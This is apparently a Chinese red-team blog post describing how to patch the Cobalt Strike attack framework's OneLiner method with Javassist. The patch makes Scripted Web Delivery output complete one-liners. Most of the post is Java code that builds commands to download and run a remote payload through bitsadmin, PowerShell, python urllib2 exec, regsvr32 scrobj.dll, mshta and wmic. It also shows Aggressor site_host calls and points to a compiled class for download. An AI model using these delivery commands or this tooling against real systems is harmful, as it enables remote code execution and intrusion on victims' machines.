在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:
而且在生成以后打开site,只需要点击 Copy URL
就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:
所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。
Javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载 javassist ,新建一个java工程,右键工程导入javassist包。
我们可能常用 mshta http://host/test.png
的方式来请求payload,可以使用一下代码进行添加:
package changeclass; import java.io.IOException; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.NotFoundException; public class change { public static void main(String[] args) { updateMethod(); } public static void updateMethod(){ try { ClassPool cPool = new ClassPool(true); //如果该文件引入了其它类,需要利用类似如下方式声明 //cPool.importPackage("java.util.List"); //设置cobaltstrike.jar文件的位置 cPool.insertClassPath("/tmp/cobaltstrike.jar"); //获取该要修改的class对象 CtClass cClass = cPool.get("common.CommonUtils"); //获取到对应的方法 CtMethod cMethod = cClass.getDeclaredMethod("OneLiner"); //更改该方法的内部实现 //需要注意的是对于参数的引用要以$开始,不能直接输入参数名称 cMethod.setBody("{ if (/"bitsadmin/".equals($2)) {" + "String f = garbage(/"temp/");" + "return /"cmd.exe /c bitsadmin /transfer /" + f + /" /" + $1 + /" %APPDATA%/////" + f + /".exe&%APPDATA%/////" + f + /".exe&del %APPDATA%/////" + f + /".exe/";}" + "if (/"powershell/".equals($2)) {" + "return PowerShellOneLiner($1);}" + "if (/"python/".equals($2)) {" + "return /"python -c ///"import urllib2; exec urllib2.urlopen('/" + $1 + /"').read();///"/";}" + "if (/"regsvr32/".equals($2)) {" + "return /"regsvr32 /s /n /u /i:/" + $1 + /" scrobj.dll/";}" + "if (/"mshta/".equals($2)) {" + "return /"mshta /" + $1;}" + "if (/"wmic/".equals($2)) {" + " return /"wmic os get /format:///"/" + $1 + /"///"/";}" + "print_error(/"'/" + $2 + /"' for URL '/" + $1 + /"' does not have a one-liner/");" + "throw new RuntimeException(/"'/" + $2 + /"' for URL '/" + $1 + /"' does not have a one-liner/");}"); //修改以后输出目录 cClass.writeFile("/tmp/"); System.out.println("=======修改方法完========="); } catch (NotFoundException e) { e.printStackTrace(); } catch (CannotCompileException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从 $1
开始,若该方法为非 static 方法,可以用 $0
来表示该方法实例自身,若该方法为 static 方法,则 $0
不可用。而且写的代码需要将 "
, /
进行转义。
运行此代码,可成功生成一个新的class:
将此class替换CS中的class就好了。
使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic
site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)");
使用mshta
site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");
效果如下:
已经编译好的class可以从这里下载:
GITHUB:
本文由Evi1cg 创作,采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名
最后编辑时间为: Jun 27, 2018 at 08:39 am